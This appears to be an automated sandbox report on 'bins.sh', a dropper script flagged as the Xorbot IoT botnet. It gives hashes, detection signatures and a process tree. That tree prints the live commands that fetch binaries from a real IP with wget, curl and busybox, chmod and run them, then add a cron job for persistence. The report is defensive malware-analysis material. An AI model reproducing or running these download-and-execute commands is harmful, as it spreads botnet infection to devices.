Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    29-11-2024 20:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    4340829a5d2e9e132fdbbf479f59b654

  • SHA1

    3bb1f59713b036d0f6f68fa86ba9bfd3458ac30b

  • SHA256

    7755066b22c43471c2987cb914ace3631a6ac10c923904efafa6c9d5dc72867b

  • SHA512

    826ffde81e8616b9bc64473f04310122b3d039b50e63f362c092a61bb5bef855da20b7e3dc80efde1fe97549775d7d8f307f04d2b053e95d1f54d04df9201e0d

  • SSDEEP

    192:DrM/jjo+WmjyakT/WMBb7+W0yakT/7VY/jC:DrM/jj53MBL+/jC

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (979) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod 777 U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          ./U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
          • Executes dropped EXE
          PID:740
        • /bin/rm
          rm U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT
          2⤵
            PID:742
          • /usr/bin/wget
            wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:743
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            ./fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
            • Executes dropped EXE
            PID:747
          • /bin/rm
            rm fuOJel5qmIniwghQsWc4u74uIHwguv1K5k
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Writes file to tmp directory
              PID:752
            • /bin/chmod
              chmod 777 sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              ./sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:763
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Writes file to tmp directory
                PID:775
              • /bin/chmod
                chmod 777 hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                ./hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                • Executes dropped EXE
                PID:785
              • /bin/rm
                rm hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Writes file to tmp directory
                  PID:843
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Writes file to tmp directory
                  PID:844
                • /bin/chmod
                  chmod 777 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • File and Directory Permissions Modification
                  PID:845
                • /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  ./89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:846
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:848
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:849
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:850
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:851
                    • /bin/rm
                      rm 89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny
                      2⤵
                        PID:853
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                        2⤵
                          PID:856
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                          2⤵
                            PID:857
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                            2⤵
                            • Writes file to tmp directory
                            PID:858
                          • /bin/chmod
                            chmod 777 S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                            2⤵
                            • File and Directory Permissions Modification
                            PID:982
                          • /tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                            ./S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                            2⤵
                            • Executes dropped EXE
                            PID:983
                          • /bin/rm
                            rm S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga
                            2⤵
                              PID:985
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
                              2⤵
                                PID:986
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/v2XPWCwCkcniMXFBUeqhqnoNQGGugobCDu
                                2⤵
                                  PID:987

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/89pUU6sU2XSHdHfjYmRxD3h4mb5J04M5Ny

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/S2FvxcgQqRpr8VMWq1DnNFZajJkErCWxga

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/U6bzVadI1c2XNhVZGaHkEB3VLwbcAvlJLT

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/fuOJel5qmIniwghQsWc4u74uIHwguv1K5k

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/hTGe0CbnpVFgpGCqFHThFmFJhcgXBmrndO

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/sbjH7SwWdxbW1uFAGlCeMJFNbzA4Z9h6lN

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /var/spool/cron/crontabs/tmp.ZXn60Z

                                Filesize

                                210B

                                MD5

                                af25e4e23a3d92c941a2e60bf30e6db7

                                SHA1

                                3cb91e1f5223e87d07e83f3d0b90e4267092b095

                                SHA256

                                d420bc32388f40f3af42452ccd0b5067159d6d615660d09888d7b14fb36bb3d4

                                SHA512

                                3c16fd6bfe24c2e58e091f0ac75213a7170a3c3bdf7d3a4ed9d5b0519c3f145ac74db3911e4c14c1f3950bb77fcefd11041acdececf3721d201f1d3a1c470aff